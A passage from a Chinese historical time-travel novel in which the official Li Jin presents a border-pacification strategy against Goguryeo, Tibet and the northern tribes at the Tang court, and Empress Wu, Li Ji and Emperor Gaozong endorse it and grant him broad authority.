“二, 改 良 军 械, 尤 其 是 攻 城 器 具。 高 句 丽 多 山 城, 易 守 难 攻。 当 集 中 ‘ 格 物 所’ 及 天 下 巧 匠, 研 制 更 具 威 力 的 抛 石 机( 可 考 虑 以 配 重 代 替 人 力 拉 拽, 增 大 射 程 与 精 度)、 更 加 坚 固 耐 用 的 云 梯 冲 车, 以 及 … 可 远 距 离 大 面 积 杀 伤 的 火 攻 器 具( 臣 已 有 粗 浅 构 想)。 以 技 术 优 势, 摧 毁 其 城 防 信 心。” 他提到了超越时代的军事技术革新方向。
“三, 稳 固 后 方, 分 化 瓦 解。 联 络 高 句 丽 南 部 的 新 罗, 许 以 利 益, 使 其 从 南 方 牵 制; 对 高 句 丽 内 部, 可 用 间 散 布 谣 言, 招 抚 其 不 满 贵 族 与 边 将, 从 内 部 动 摇 其 统 治。 此 为 伐 交 伐 谋。**”
“四, 不 求 速 胜, 而 求 必 胜。 可 制 定 三 年 或 五 年 方 略, 第 一 年 主 要 进 行 水 师 建 设、 军 械 改 良、 后 勤 基 地 建 设 与 外 交 准 备; 第 二 年 开 始 进 行 试探性进攻与消耗;第三年或之后,待其疲敝、内部分化、我准备充分时,再发动决定性总攻。以国力碾压,以时间换空间。” 他提出了一个长期的、系统性的战略规划,迥异于传统的短期决战思维。
殿中一片寂静,只有李瑾清朗的声音在回荡。许多武将,如 兵 部 尚 书 等, 眼 中 已 是 异 彩 连 连。 跨海登陆、军械革新、长期消耗、伐谋伐交……这些思路,与他们传统的作战经验截然不同,却又似乎直指征高句丽屡屡受挫的痛点,令人耳目一新,细思之下又觉极有道理。
“其二, 西 抚 吐 蕃。 吐 蕃 地 处 高 原, 地 广 人 稀, 气 候 严 酷, 我 军 深 入 作 战 极 为 不 利。 且 其 新 主 年 幼, 国 内 贵 族 纷 争, 暂 无 大 举 东 侵 之 力。 故 对 吐 蕃, 当 以 ‘ 抚’ 为 主, ‘ 防’ 为 辅。” 李瑾话锋转向西方。
“抚,在于 加 强 羁 縻, 稳 定 河 湟。 可 选 派 能 吏 干 臣, 经 营 陇 右、 河 西, 招 抚 吐 谷 浑 残 部 及 党 项、 羌 等 部 族, 赐 予 官 爵, 开 通 互 市, 使 其 成 为 大 唐 与 吐 蕃 之 间 的 缓 冲 与 屏 障。 同 时, 可 适 度 恢 复 与 吐 蕃 的 和 亲 议 题( 需 严 格 设 定 条 件), 或 遣 使 交 好, 稳 住 其 国 内 主 和 势 力, 为 我 专 心 经 营 东 方 争 取 时 间。**”
“防,在于 固 守 要 冲, 加 强 边 备。 在 鄯 州、 凉 州、 松 州 等 战 略 要 地, 增 修 城 堡, 囤 积 粮 草, 训 练 精 兵。 尤 其 要 利 用 吐 蕃 骑 兵 善 于 野 战 而 短 于 攻 城 的 特 点, 构 筑 坚 固 的 防 御 体 系, 使 其 无 隙 可 乘。 同 时, 可 派 遣 小 股 精 锐, 深 入 高 原 边 缘 进 行 侦 察 与 袭 扰, 掌 握 其 动 向。 总 之, 对 吐 蕃, 在 未 来 十 年 内, 当 以 稳 定 现 有 边 界、 防 止 其 坐 大 为 第 一 要 务, 非 有 绝 对 把 握, 不 可 轻 启 大 规 模 战 端。” 他对吐蕃采取了务实的守势战略,体现了集中力量解决主要矛盾的思想。
“其三, 北 防 诸 胡。 北 方 草 原, 部 族 纷 繁, 此 起 彼 伏。 对 其 策, 当 以 ‘ 防’ 为 本, 辅 以 ‘ 抚’ 与 ‘ 分’。 加 强 朔 方、 河 东、 幽 州 等 北 边 重 镇 的 防 御 力 量, 广 设 烽 燧, 加 强 巡 逻。 对 于 愿 意 内 附 或 臣 服 的 部 族, 予 以 妥善安置,赐予牧地,但需分散其部落,防止其坐大。对于桀骜不驯、屡屡犯边者,则坚决以精兵迅雷不及掩耳之势予以打击, 但 不 求 占 其 地, 而 以 歼 灭 其 有 生 力 量、 震 慑 其 他 部 落 为 主。 同 时, 可 利 用 草 原 部 落 之 间 的 矛 盾, 扶 此 抑 彼, 使 其 互 相 制 衡, 无 力 南 顾。” 他对北方游牧民族采取了灵活的防御与制衡策略。
最后,李瑾总结道:“陛下,皇后殿下, 此 《 平 边 策》, 东 定 为 主, 西 抚 北 防 为 辅, 三 者 相 辅 相 成, 构 成 未 来 十 年 我 大 唐 对 外 经 略 之 基 本 方 略。 其 核 心, 在 于 依 托 国 力, 发 挥 新 学 新 技 之 长, 循 序 渐 进, 谋 定 后 动。 若 能 依 此 策 稳 步 推 行, 先 以 数 年 时 间 强 水 师、 利 军 械、 实 边 备、 固 后 方, 待 时 机 成 熟, 陛 下 振 长 策 而 御 宇 内, 则 高 句 丽 可 平, 西 陲 可 宁, 北 疆 可 靖, 太 宗 皇 帝 未 竟 之 志 可 成, 我 大 唐 之 天 威, 将 光 耀 万 邦, 泽 被 千 秋! 此 乃 臣 肺 腑 之 言, 拳 拳 之 心, 伏 惟 圣 鉴!**”
李瑾奏毕,双手将《平边策》奏疏高举过顶,由内侍接过,呈送御前。
紫宸殿内,一片长时间的沉寂。只有粗重的呼吸声和衣袍摩擦的窸窣声。这份《平边策》的内容太过宏大,也太过具体,尤其是对高句丽的战略构想,打破了传统陆路征伐的思维定式,引入了海军、技术、长期规划等全新要素,其冲击力可想而知。
御座上,皇帝李治的目光紧紧盯着那卷奏疏,胸膛微微起伏,脸上交织着震惊、激动与深思。他仿佛看到了父皇未竟的伟业在自己手中实现的可能,也看到了这份战略背后所蕴含的、能将帝国推向更高巅峰的巨大潜力。更重要的是,这份策略务实、系统,并非好高骛远的空谈,且有“实学新政”的成果作为支撑,可行性似乎大增。
垂帘之后,武媚娘的身影一动不动,但那双隔着纱帘望向李瑾的眼睛,却亮得惊人。她听懂了这份《平边策》更深层的政治含义——这不仅是拓土开疆的军事蓝图,更是巩固“二圣”权威、彰显新政成效、并将李瑾及其代表的“实学”力量推向帝国武功建设最前沿的绝佳载体。若能成功,其政治收益将无可估量。
长孙无忌、褚遂良等人面色凝重至极。他们从这份策略中,不仅看到了军事上的革新,更嗅到了浓烈的政治气息。李瑾此举,无疑是在“二圣”新格局下,主动争取在最具威望的军事领域的话语权。一旦此策被采纳并推行,李瑾的地位和影响力将更加稳固,而他们这些以“经史”、“礼法”立身的老臣,在“武功”这一硬指标面前,将显得更加被动。
终于,皇帝深吸一口气,缓缓开口,声音因激动而略显沙哑:“李卿……此《平边策》, 深 谋 远 虑, 老 成 谋 国, 诚 为 不 刊 之 论! 朕……要细细研读。诸卿,对此策,有何见解?”
他直接将《平边策》定性为“不刊之论”,其倾向已不言自明。朝堂之上,一场围绕着这份足以影响帝国未来数十年国运的宏大战略的激烈辩论与深远博弈,就此拉开了序幕。而李瑾,已然将自己的名字,与帝国未来最辉煌的武功梦想,牢牢地绑在了一起。
第93章 后曰善哉
紫宸殿内,那阵因李瑾《平边策》宏大构想的冲击而产生的、近乎凝滞的沉寂,持续了足足有十数息之久。殿中数百官员,上至宰辅公卿,下至侍立末班的低品郎官,皆被这份前所未有、又似乎能撬动帝国未来数十年国运的战略方略所震撼。空气仿佛凝固,唯有众人或粗重、或细微的呼吸声,以及御前那卷明黄奏疏在皇帝手中被缓缓展开的细微声响,清晰可闻。
皇帝李治的目光,牢牢锁在《平边策》的字里行间。他的面色因初闻时的激动而微微泛红,此刻却渐渐沉淀为一种深沉的专注。他看得很慢,时而停顿,时而眉头微蹙,时而又目露奇光,手指不自觉地在那“水师渡海”、“军械革新”、“三年方略”等字句旁轻轻划过。那份奏疏承载的,不仅仅是文字,更是一个庞大帝国对外开拓的另一种可能,一种超越他父皇旧有路径、融合了“实学”新思维的辉煌蓝图。这蓝图既能满足他内心深处建功立业的渴望,又似乎为他因身体所限而难以亲临前线的遗憾,提供了一条可行的替代路径——他只需稳坐中枢,运筹帷幄,依靠李瑾这样的能臣去具体执行。这想法,让他的呼吸都不由自主地急促了几分。
然而,身为帝王,尤其是一位刚刚经历重病、深知朝局微妙的帝王,他不能仅凭一腔热血做出决断。他需要权衡,需要倾听,需要观察。他将目光从奏疏上抬起,缓缓扫过丹墀下肃立的众臣,最后,几乎是不由自主地,投向了身侧那架紫檀木座屏与月白垂帘。帘后,是那位已与他共享权柄、并且在此类重大决策上与他愈发心意相通的皇后。他希望听到她的看法,也需要她的看法。
就在皇帝的目光转向垂帘,嘴唇微启,似乎准备按照惯例询问“皇后以为如何”的前一刹那——
“ 善 哉!”
一个清晰、平稳、却蕴含着不容置疑的力度与激赏之情的女声,自那薄纱垂帘之后,毫无预兆地响起,打破了殿中令人窒息的沉寂。
仅仅两个字, 善 哉。 却如同在平静的湖面投下了一块巨石,激起了千层浪!朝堂之上,从未有过皇后在皇帝尚未明确垂询、且涉及如此重大军国战略时,主动率先发声表态的先例!更何况,是如此明确、如此有力的赞赏之词!
所有人的目光,瞬间齐刷刷地聚焦在那幅月白垂帘之上。帘后的身影轮廓,似乎因这声“善哉”而显得更加挺直、清晰。
皇帝也明显怔了一下,旋即眼中闪过一丝复杂难明的光芒,有讶异,有探究,但更多的,是一种被说中心事的释然与……隐隐的期待。他稳住了心神,没有对皇后的“僭越”表示任何不悦,反而顺势问道:“哦?皇后以为李卿此策,‘善’在何处?”
垂帘后,武媚娘的声音再次响起,依旧是那般平稳,却带着一种剖析入理的冷静与高屋建瓴的视野:“陛下,臣妾闻李相《平边策》, 初 时 亦 觉 其 言 之 过 宏, 然 细 思 之, 方 知 其 非 好 大 喜 功 之 论, 实 乃 老 成 谋 国、 因 势 利 导 之 良 策。 其 ‘ 善 ’, 臣 妾 以 为 有 四。”
她开始条分缕析,声音在寂静的大殿中回荡:
“ 其 一, 善 在 ‘ 明 大 势, 定 缓 急’。 李 相 明 辨 东、 西、 北 三 方 之 不 同 情 势, 不 作 笼 统 之 言, 而 是 区 分 对 待, 定 下 ‘ 东 定 为 主, 西 抚 北 防 为 辅’ 之 基 本 方 略。 此 正 合《 孙 子》 所 言 ‘ 知 彼 知 己, 百 战 不 殆’, 亦 是 集 中 力 量 解 决 主 要 矛 盾 之 道。 高 句 丽 占 我 旧 壤, 屡 抗 天 威, 实 为 心 腹 之 患, 当 为 首 要。 吐 蕃 新 主 稚 弱, 内 部 不 稳, 我 当 以 抚 御 为 主, 争 取 时 间。 北 方 诸 胡 散 乱, 则 以 防 御 分 化 为 要。 如 此 布 局, 方 不 至 于 四 面 树 敌, 疲 于 奔 命。” 她从战略全局的高度,肯定了李瑾对主要矛盾和次要矛盾的清晰判断。
“ 其 二, 善 在 ‘ 重 实 学, 用 新 技’。 李 相 不 拘 泥 于 太 宗 皇 帝 时 陆 路 强 攻 之 旧 法, 而 是 提 出 大 力 发 展 水 师, 跨 海 登 陆, 开 辟 新 径; 主 张 改 良 军 械, 以 技 胜 力。 此 正 是 将 陛 下 这 些 年 来 大 力 推 行 的 ‘ 实 学’、 ‘ 格 物’ 之 成 果, 转 化 为 强 军 胜 战 之 实 力! 我 大 唐 若 能 以 新 式 海 船 纵 横 海 上, 以 精 良 器 械 攻 城 拔 寨, 何 愁 高 句 丽 不 下? 此 乃 以 我 之 长, 攻 彼 之 短, 正 是 用 兵 之 上 策。 且 此 举 亦 可 极 大 地 激 励 天 下 工 匠 巧 思, 促 进 ‘ 实 学’ 进 一 步 发 展, 形 成 良 性 循 环。**” 她敏锐地抓住了《平边策》中最具创新性、也最可能触动守旧派神经的“技术革新”与“海军建设”两点,并将其与皇帝的“新政”功绩直接挂钩,赋予了其****性。
“ 其 三, 善 在 ‘ 务 实 筹 划, 不 尚 空 谈’。 李 相 未 言 即 刻 兴 兵, 而 是 提 出 三 年 甚 至 更 长 的 准 备 期, 强 调 水 师 建 设、 军 械 改 良、 后 勤 基 地、 外 交 斡 旋 等 前 期 工 作。 此 非 畏 战, 而 是 慎 战, 是 谋 定 后 动。 国 之 大 事, 在 祀 与 戎。 征 伐 一 国, 尤 其 是 高 句 丽 这 等 劲 敌, 岂 是 儿 戏? 必 须 有 万 全 之 准 备, 方 可 求 万 全 之 胜。 李 相 此 策, 正 是 将 太 宗 皇 帝 当 年 未 能 完 全 克 竟 全 功 的 教 训, 化 为 今 日 更 加 稳 妥 周 密 的 行 动 纲 领。” 她以“务实”、“慎战”来化解可能对“长期准备”的“畏战”指责,并将其与吸取太宗经验教训联系起来,显得极为高明。
“ 其 四, 善 在 ‘ 利 在 当 代, 功 在 千 秋’。 建 强 大 水 师, 不 仅 为 征 高 句 丽, 更 可 护 卫 我 朝 万 里 海 疆, 威 慑 海 外 诸 国, 保 障 南 方 海 贸 畅 通, 其 利 无 穷。 改 良 军 械, 亦 可 惠 及 全 军, 提 升 我 大 唐 整 体 军 力。 即 使 未 来 东 方 战 事 有 变, 此 等 建 设 亦 是 固 国 强 兵 之 本, 绝 非 徒 耗 国 力。 至 于 西 抚 北 防 之 策, 更 是 着 眼 于 当 前 实 际, 以 最 小 代 价 维 持 边 疆 稳 定, 为 东 线 聚 力 创 造 条 件。 此 策 若 行, 非 独 一 时 之 功, 实 为 子 孙 万 代 之 利 也!**” 她将《平边策》的益处拔高到“利在当代,功在千秋”的层面,强调了其长远战略价值,使其超越了单纯的军事征服意义。
武媚娘一气呵成,从大势、技术、务实、长远四个维度,对《平边策》进行了全面而深刻的肯定。她的分析,条理清晰,逻辑严密,引经据典却又紧扣实际,既展现了卓越的政治见识,也完全契合帝后当前“巩固权威、建功立业”的内在需求,更巧妙地将李瑾的策略与皇帝推崇的“新政”、“实学”捆绑在一起,使其获得了意识形态上的正当性。她虽在帘后,但这一番“善哉”之论,其分量之重,剖析之深,立场之鲜明,已足以让殿中任何一位重臣都无法忽视,更难以轻易驳倒。
更重要的是,她 在 皇 帝 尚 未 明 确 表 态 之 前, 便 以 皇 后 之 尊, 公 开、 有 力 地 表 达 了 对 李 瑾 及 其《 平 边 策》 的 鼎 力 支 持。 这无疑是在向整个朝堂释放一个无比强烈的政治信号: 帝 后 二 圣, 在 此 重 大 国 策 上, 立 场 高 度 一 致; 李 瑾 此 策, 已 获 得 了 来 自 垂 帘 之后 的 最 高 背 书。 任何反对者,在提出异议时,都不得不掂量一下,自己将要面对的,不仅是提出策略的李瑾,更是帘后那位心思缜密、言辞犀利、且深受皇帝倚重的皇后,乃至是帝后一体的共同意志!
武媚娘话音落下,紫宸殿内再次陷入寂静,但这次的寂静,与先前因震撼而产生的沉默截然不同。这是一种充满了复杂计算、权衡利弊、以及暗流汹涌的寂静。许多官员,尤其是那些原本就倾向于支持开拓、或与李瑾政见相近的,眼中已燃起兴奋的火光。皇后如此明确的支持,让他们看到了此策被采纳并推行的巨大可能。
而长孙无忌、褚遂良等人的脸色,则阴沉得几乎能滴出水来。他们最担心的事情发生了。皇后不仅没有如他们暗中期望的那样保持沉默或谨慎观望,反而以如此强势、如此有理有据的姿态,公开为李瑾站台!这等于是在“二圣”框架下,为《平边策》提前加注了无可匹敌的政治筹码。他们若想反对,难度将呈几何级数增加。褚遂良的手在袖中微微颤抖,几次想要出列,却又强行忍住。他知道,此刻贸然反驳皇后那番无懈可击的“四善”之论,绝非明智之举。
皇帝李治静静地听着皇后条分缕析的“四善”,眼中的光芒越来越亮,最后化为一抹深深的赞许与释然。皇后所言,几乎完全说中了他的心思,甚至比他想的更加透彻、周全。有了皇后这番公开而有力的支持,他心中的天平彻底倾斜。他不再犹豫,朗声开口,声音中带着压抑不住的激赏与决断:
“ 皇 后 所 言, 深 得 朕 心! 李 卿 此《 平 边 策》, 皇 后 已 为 朕 与 诸 卿 剖 析 明 白。 其 策 宏 大 而 务 实, 新 颖 而 老 成, 既 承 太 宗 皇 帝 未 竟 之 志, 又 开 我 朝 万 世 之 新 局, 更 与 当 前 朝 政 新 风 相 得 益 彰! 此 等 良 策, 若 不 深 议 细 究, 择 善 而 行, 朕 与 皇 后, 何 以 对 列 祖 列 宗, 何 以 对 天 下 臣 民?”
皇帝此言,等于正式肯定了皇后的评价,并将《平边策》拔高到了“继承先志、开创新局、契合新政”的至高地位。反对的声音,被彻底压制在了萌芽状态。
“着令!” 皇帝提高了声调,斩钉截铁,“ 即 刻 将 李 瑾 所 奏《 平 边 策》, 明 发 中 书 门 下、 政 事 堂、 并 兵 部、 工 部、 户 部、 将 作 监、 司 农 寺 等 有 司, 令 其 详 加 研 议, 各 就 所 司 职 掌, 于 十 日 内 呈 报 具 体 实 施 细 则 与 所 需 支 持! 此 事, 由 李 瑾 总 其 纲, 诸 有 司 协 力 ! 朕 与 皇 后, 静 候 佳 音!**”
“臣等遵旨!” 殿中响起山呼般的应和。许多官员,尤其是兵部、工部的官员,已摩拳擦掌,跃跃欲试。
李瑾躬身领命,心中波澜微起,但面上依旧沉静。他知道,最关键的第一步已经迈出,而且迈得异常顺利。这固然得益于《平边策》本身的分量,但皇后在帘后那一声石破天惊的“善哉”以及随后鞭辟入里的“四善”之论,无疑是决定性的推手。这不仅是策略上的支持,更是政治联盟在关键时刻最有力的彰显。
垂帘之后,武媚娘微微调整了一下坐姿,目光透过纱帘,扫过殿中神色各异的群臣,最后落在躬身领命的李瑾身上,嘴角几不可察地弯起一丝极淡的弧度。
“ 后 曰 善 哉”—— 这 一 声, 不 仅 定 了 朝 议 的 基 调, 更 是 在 “ 二 圣 临 朝” 的 新 格 局 下, 明 确 宣 告 了 她 对 帝 国 未 来 最 重 要 战 略 方 向 的 深 度 参 与 与 强 力 主 导。** 经此一议,她在军事国策领域的话语权,已然确立。而李瑾与她的同盟,也在这“善哉”声中,变得更加牢不可破,并正式涉足帝国最高、也最敏感的武功领域。
朝会散去,《平边策》引发的波澜,却刚刚开始向整个帝国的军政系统扩散。一场围绕着未来国运的宏大博弈与建设,就此拉开了序幕。
第94章 帝手诏准奏
紫宸殿朝会之上,皇后武媚娘那一声石破天惊的“善哉”与鞭辟入里的“四善”之论,如同在平静的朝堂湖面投下了定海神针,也为李瑾那份宏大而创新的《平边策》镀上了一层不容置疑的金身。皇帝李治随后的“深得朕心”与“明发有司研议”的旨意,更正式将这份战略从“朝议”层面,推向了“筹备落实”的新阶段。然而,朝会上的表态与支持,仅仅是第一步。要将这纸面上的宏图,转化为切实可行的国家行动,将战略构想细化为工程计划、预算清单、人事安排与时间表,并赋予核心推动者以匹配其责任的权力,才是真正考验的开始。而这道考验的第一关,便是在皇帝限期“十日”内,各部、寺、监对《平边策》研议细则的反馈,以及随之而来的、关于权力与资源重新配置的激烈博弈。
这“十日”,对长安的皇城官署而言,堪称风起云涌、不眠不休。政事堂内灯火长明,宰辅们就《平边策》的总体框架、优先顺序、潜在风险及与现有政策的衔接,进行了数轮密集而激烈的辩论。兵部衙门人声鼎沸,武将文吏就水师建设规模、登陆地点选择、陆军配合方案、新军械需求清单吵得面红耳赤。工部与将作监则陷入了技术与成本的漩涡,改良抛石机的图纸、新式海船的模型、乃至李瑾奏疏中语焉不详的“火攻器具”构想,都引发了匠官们狂热的研究与争执,随之而来的是令人咋舌的预算估算。户部则是最愁云惨淡的一方,面对着兵、工两部雪花般飞来的要钱要粮文书,尚书愁得几乎一夜白头,拼命核算着国库与太府寺的积蓄,计算着加征、借贷或削减其他开支的可能性。司农寺、太仆寺等有司也未能置身事外,粮草储备、牲畜征调、民夫动员等后勤难题接踵而至。
朝堂之下,暗流更加汹涌。长孙无忌、褚遂良等人的府邸,成了反对或质疑声音的汇集地。他们无法公开否定已被帝后高度肯定的《平边策》大方向,便将攻击的矛头对准了具体执行的“不可行性”与“靡费”。褚遂良指使门下省官员,在审核相关文书时,对预算、工期、民力征发等细节提出诸多诘问,试图拖延。与关陇集团关系密切的部分官员,则在私下串联,散播“李瑾好大喜功,欲以奇技淫巧耗费国帑,博取军功”、“皇后急于立威,支持此等冒险之策,恐非国家之福”等流言。他们试图在官僚体系的中下层制造阻力,并观望军方重臣,尤其是 司 空 李 勣 的 态 度。** 李勣在朝堂上对军权归属的划界,让他们看到了一丝希望。
李瑾本人,则进入了前所未有的忙碌状态。他不仅要主持政事堂的相关讨论,还要频繁往来于兵部、工部、将作监之间,亲自参与技术论证,协调部门分歧,解答各方疑问。他利用“格物所”多年积累的数据、图纸和模型,为水师建设、军械改良提供了坚实的技术基础,其专业与务实,令许多原本心存疑虑的官员大为折服。同时,他通过“北门学士”及自己在朝中的关系网络,密切关注着各方的动向与舆论,对针对他的流言与攻讦,或通过支持者予以驳斥,或选择暂时隐忍,集中精力推动核心事务。他知道,真正的胜负手,在于十日后各部呈报的细则汇总,以及皇帝根据这些汇总做出的最终决策——尤其是关于由谁来 总 揽 此 项 庞 大 系 统 工 程 的 实 际 指 挥 权**。
十日之期,转瞬即至。
七月十二,紫宸殿再次举行大朝,专题审议《平边策》相关细则。殿中气氛,比十日前更加凝重。各部尚书手持厚厚的奏疏,逐一出列奏报。兵部肯定了“水师渡海、东西夹击”战略的可行性,但强调需新建、改建大型海船数百艘,训练水手兵卒数万,非三五年不能成军,且耗费巨万;对军械改良,特别是“火攻器具”,认为“构想精妙,然前所未有,需‘格物所’全力攻关,成败未知,不宜寄予过望”。工部与将作监的奏报则充满了技术细节与天文数字般的预算,但也承认,若能集中巧匠,给予充足资源与时间,李瑾提出的许多改良方向确有实现可能。户部的奏报最是沉重,直言以目前国库岁入,若同时满足水师、军械、边备及原有各项开支,即便加征商税、动用部分储备,未来三年也将出现巨大亏空,需大力整顿财政、开辟新源,或……大幅削减其他开支。
支持者如新任兵部侍郎(李瑾提拔)慷慨陈词,强调“非常之功,必待非常之人,亦需非常之投入”,认为长远收益远超眼前付出。质疑者则抓住“靡费”、“未知”、“民力”等要害,反复诘难。朝堂之上,支持与反对的声音交织碰撞,一时难分高下。
就在争论趋于白热化,许多人将目光投向御座与垂帘,等待帝后裁决时,一个出乎所有人意料的身影,缓缓出列。
是 司 空 李 勣。 这位军界泰斗、开国元勋,自“二圣临朝”以来,在朝堂上多保持沉默,鲜少就具体政务表态,尤其对涉及皇后理政的事务,更是谨慎。此刻他出列,瞬间吸引了所有人的目光。长孙无忌等人精神一振,期待他能以军方元老的威望,对这份明显带有“文臣”(尤其是李瑾)色彩的激进军事计划,提出强有力的质疑或限制。
李勣手持玉笏,花白的须发在殿中光线下微微颤动,他先向御座与垂帘躬身一礼,然后转向争论的双方,声音不高,却带着历经沧桑的沉浑力量:“陛下,皇后殿下,老臣有几句话,不吐不快。”
殿中顿时鸦雀无声。
“兵者,国之大事,死生之地,存亡之道,不可不察。” 李勣缓缓道,“李相《平边策》,老臣细读十遍。其言跨海、言新器、言长期,初闻确觉骇俗。然,” 他话锋一转,“ 老 臣 统 兵 数 十 载, 深 知 用 兵 之 道, 贵 在 出 奇, 贵 在 知 己。 太 宗 皇 帝 当 年 数 征 高 句 丽 未 竟 全 功, 非 将 士 不 用 命, 实 乃 高 句 丽 据 山 临 海, 我 军 陆 路 仰 攻, 后 勤 艰 难, 气 候 不 适, 故 难 以 持 久。 李 相 提 出 发 展 水 师, 跨 海 而 击, 正 是 要 避 开 敌 之 所 长, 攻 其 不 备! 此 为 ‘ 出 奇’。**”
他竟然肯定了“水师渡海”这一最受争议的核心构想!长孙无忌等人脸色微变。
“至于新式军械,” 李勣继续道,目光扫过工部、将作监的官员,“老夫在军中多年,深知一器之利,有时可抵千军。前汉有强弩,故而匈奴远遁。我朝若能有射程更远、威力更大的攻城之器,有更坚更快之战船,何愁高句丽城郭不破? 李 相 掌 ‘ 格 物 所’, 能 制 新 纸, 能 献 牛 痘, 能 改 良 农 具 海 船, 其 人 其 所, 正 是 研 制 新 式 军 械 的 不 二 人 选! 此 为 用 其 所 长。**”
他再次肯定了李瑾在技术革新上的能力与资格!
“至于靡费、民力,” 李勣叹了口气,语气转为沉重,“ 诸 公 所 虑, 俱 是 实 情。 然, 打 仗 哪 有 不 花 钱、 不 用 民 的? 关 键 在 于, 这 钱 花 得 值 不 值, 这 民 用 得 是 否 有 度。 户 部 说 国 用 不 足, 可 想 法 开 源 节 流, 但 绝 不 能 因 噎 废 食。 兵 部、 工 部 所 请, 也 需 精 打 细 算, 分 期 分 步, 不 可 一 蹴 而 就。 但 大 方 向, 老 臣 以 为, 必 须 坚 持。 因 为 ——”**
他停顿了一下,目光如电,扫过全场,最后定格在御座方向,一字一句道:“ 因 为 这 是 我 大 唐 能 否 真 正 一 劳 永 逸 解 决 东 方 大 患, 能 否 告 慰 太 宗 皇 帝 在 天 之 灵, 能 否 为 子 孙 开 万 世 太 平 的 关 键 一 搏! 有 些 钱, 现 在 看 着 多, 将 来 看, 或 许 是 省 了 未 来 数 十 年 无 数 的 边 衅 与 征 伐 之 资!**”
李勣这番话,堪称振聋发聩!他从一个老帅的视角,肯定了《平边策》的军事价值,支持了李瑾的技术路线,承认了困难,却又以长远战略眼光,论证了其必要性。尤其是最后提到“告慰太宗皇帝”、“开万世太平”,更是将此事拔高到了近乎“****”与“历史责任”的高度。他的表态,不仅彻底堵死了军方内部可能的反对声音,更以其无与伦比的威望,为《平边策》的实施扫清了一大障碍。长孙无忌等人最后的期望,也随着李勣的发言而落空,脸色灰败。
御座上,皇帝李治的眼中已满是激动与决断。垂帘之后,武媚娘的身影依旧沉静,但那双明眸中,也闪过对李勣此番关键时刻表态的赞许与了然。
“李司空老成谋国,所言至为允当!” 皇帝不再犹豫,霍然起身,虽然动作稍显急迫引得他微微蹙眉,但声音却斩钉截铁,响彻大殿,“诸卿所议,利弊朕已尽知。 然, 大 丈 夫 行 事, 当 断 则 断!《 平 边 策》 乃 经 国 之 大 略, 利 在 千 秋, 纵 有 万 难, 亦 当 克 服!** 朕意已决!”
他目光灼灼,看向丹墀之下肃立的李瑾,沉声道:“李瑾听旨!”
“臣在!” 李瑾出列,躬身。
皇帝从内侍手中接过早已预备好的、加盖玉玺的明黄诏书,朗声宣读:
“ 奉 天 承 运, 皇 帝 制 曰: 咨 尔 同 中 书 门 下 三 品、 银 青 光 禄 大 夫、 将 作 监 少 监、 督 行 实 务 使 李 瑾, 器 识 宏 远, 才 略 优 长。 前 献《 平 边 策》, 洞 察 机 先, 谋 国 以 诚, 深 合 朕 心, 皇 后 亦 嘉 其 论。 为 成 此 不 世 之 功, 奠 定 万 世 之 基, 特 授 李 瑾 以 重 任。”
“ 着 即 加 李 瑾 为 检 校 兵 部 尚 书, 仍 兼 将 作 监 少 监、 督 行 实 务 使, 银 青 光 禄 大 夫 如 故。 总 督 平 边 诸 事, 凡 涉 及 水 师 建 设、 新 式 军 械 研 制 改 良、 及 相 关 后 勤 保 障、 工 程 营 造 等 一 应 事 务, 皆 归 其 统 筹 协 调, 便 宜 行 事。 兵 部、 工 部、 将 作 监、 司 农 寺、 太 仆 寺 等 有 司, 需 悉 心 协 助, 不 得 推 诿 延 误。 户 部 需 会 同 有 司, 妥 善 筹 划 钱 粮, 保 障 所 需。 另, 特 许 李 瑾 参 赞 军 务, 遇 有 关 平 边 战 守 机 宜, 可 直 接 奏 报 朕 与 皇 后, 或 会 同 政 事 堂、 兵 部 共 议。 望 卿 仰 体 朕 心, 恪 尽 职 守, 夙 夜 匪 懈, 早 奏 凯 歌, 以 副 朕 望! 钦 此!**”
“检校兵部尚书”! “总督平边诸事,便宜行事”! “参赞军务”!
这道诏书的分量,重如泰山!“检校兵部尚书”虽非实授,却赋予了李瑾在兵部事务上极大的话语权和协调权。“总督平边诸事,便宜行事”,更是将《平边策》前期的核心筹备工作——水师、军械、后勤、工程——的 总 指 挥 权 和 相 当 大 的 自 主 决 断 权, 正式、明确地交到了李瑾手中。而“参赞军务”,则打破了他作为“实学”文臣的界限,允许他直接涉足更高层级的军事决策咨询。这几乎是为他量身打造了一个横跨军政、工程、技术的超级职权,其权力范围之广、信任之深,在贞观朝中后期绝无仅有!
殿中百官,无不震撼。许多人的目光,复杂地投向那道躬身接旨的身影。羡慕,嫉妒,敬畏,忧虑……种种情绪,不一而足。长孙无忌闭上了眼睛,袖中的手紧握成拳。他知道,这道诏书一下,李瑾在朝中的地位已无可动摇,其影响力将随着“平边”大业的推进而急剧膨胀。褚遂良面色苍白,嘴唇翕动,却终究没有发出声音。
“臣,李瑾,领旨谢恩!陛下天恩,皇后殿下信重,臣纵肝脑涂地,亦难报万一!必当竭尽驽钝,夙夜在公,绝不负陛下、皇后殿下厚望,绝不负天下臣民所托!” 李瑾的声音沉稳而有力,在寂静的大殿中回荡。他双手高举,接过那卷沉甸甸的、决定了他未来数年乃至更长时间命运走向的诏书。
“好!” 皇帝抚掌,脸上露出如释重负又充满期待的笑容,“朕与皇后,拭目以待!诸卿当同心协力,共襄盛举!”
“臣等遵旨!陛下圣明!皇后殿下千岁!” 山呼再起,只是这次,许多声音中多了几分复杂的意味。
朝会散去,消息以惊人的速度传遍朝野。皇帝的手诏,如同一道正式的委任状,将李瑾推向了帝国未来数年最宏大、也最受瞩目的“平边”事业的最前沿。他不再是那个仅仅提出构想的谋士,而是手握实权、肩负重责的 总 工 程 师 与 前 敌 总 筹 划。 权力与责任相伴而来,荣耀与风险亦如影随形。
立政殿中,武媚娘得知诏书全文,微微一笑。这道诏书的内容,许多细节早已在紫宸殿暖阁中,经由她与皇帝的多次商议而敲定。她相信李瑾的能力,也需要李瑾的成功,来为“二圣临朝”的格局,增添最耀眼、最无可辩驳的武功注脚。
李瑾回到府中,摒退左右,独自在书房中展开那卷明黄诏书,看了许久。窗外,夏日的阳光炽烈如火。他知道,从这一刻起,他将踏上一条比以往任何时刻都更加艰难、也更加波澜壮阔的道路。朝堂的明枪暗箭,技术的未知难关,财政的巨大压力,时间的紧迫催促,都将接踵而至。但与此同时,一个将“实学”理念与帝国最高武力相结合,亲手推动一场军事变革,乃至影响整个时代走向的宏大舞台,也已在他面前豁然展开。
他收起诏书,走到窗边,望向皇城方向,目光沉静而坚定。
帝手诏已准奏,平边大幕正式拉开。而属于他李瑾的、在帝国武功建设史上的传奇篇章,也由此翻开了第一页。
第95章 君臣相得宜
